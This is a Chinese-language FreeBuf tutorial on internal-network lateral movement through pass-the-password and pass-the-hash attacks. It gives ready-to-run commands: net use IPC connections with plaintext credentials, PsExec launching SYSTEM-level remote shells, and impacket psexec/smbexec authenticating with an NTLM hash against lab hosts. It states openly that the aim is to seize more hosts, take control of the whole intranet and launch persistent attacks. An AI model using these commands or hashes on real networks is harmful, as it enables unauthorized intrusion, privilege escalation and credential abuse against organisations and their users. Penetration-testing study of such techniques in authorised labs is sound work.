内网渗透 | 多种传递攻击详解
本文由 创作,已纳入「FreeBuf原创奖励计划」,未授权禁止转载
在前面一篇文章已经对内网信息收集做了详细介绍,所需要的内网环境也包含在那篇文章中,接下来将以前期内网信息收集到的信息为基础介绍各种明文或hash传递攻击进行横向渗透。
在拿下一台内网主机后,利用既有的资源尝试获取更多的凭据、更高的权限,一步一步拿下更多的主机,进而达到控制整个内网、获取到最高权限、发动高级持续性威胁攻击的目的。我们掌握的方法越多,可能拿到的主机权限的机会就越大。
PsExec 最强大的功能之一是在远程系统和远程支持工具(如 ipconfig)中启动交互式命令提示窗口,以便显示无法通过其他方式显示的有关远程系统的信息,并且可以获得与控制台应用程序相当的完全交互性。PsExec的使用不需要对方主机开放3389端口,只需要对方开启admin$共享 (该共享默认开启)。由于PsExec是Windows提供的工具,所以杀毒软件将其列在白名单中。
下载地址:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
主要有以下两种攻击方法
net use \\192.168.3.144\ip$ “admin!@#45” /uesr:administrator #建立IPC链接,出现下列弹框点击agree
psexec \\192.168.3.64 -s cmd cmd #-s,表示以system权限运行窗口,成功返回目标主机system权限窗口
psexec \\192.168.3.144 -u administrator -p admin!@#45 -s cmd
在这些情况下我们无法获取明文密码
Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码
Windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码
Windows系统LM Hash及NTLM Hash加密算法,个人系统在windows vista后,服务器系统在windows2003以后,认证方式均为NTLM Hash
此时进行横向渗透测试使用官方自带的psexec行不通
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.144
为了解决无法获取明文进行传递攻击的问题,使用非官方自带的psexec进行hash传递,虽说这个与上面的名字一样,但是这并不是微软自带的工具。
使用impacket工具包,操作简单,但由于非官方自带,很有可能被杀毒软件查杀。
下载地址:
https://github.com/maaaaz/impacket-examples-windows
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.144
smbexec ./administrator:admin!@#45@192.168.3.144 链接本地组用户
smbexec ROOTKIT.ORG/administrator:admin!@#45@192.168.3.144 链接域内用户
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.144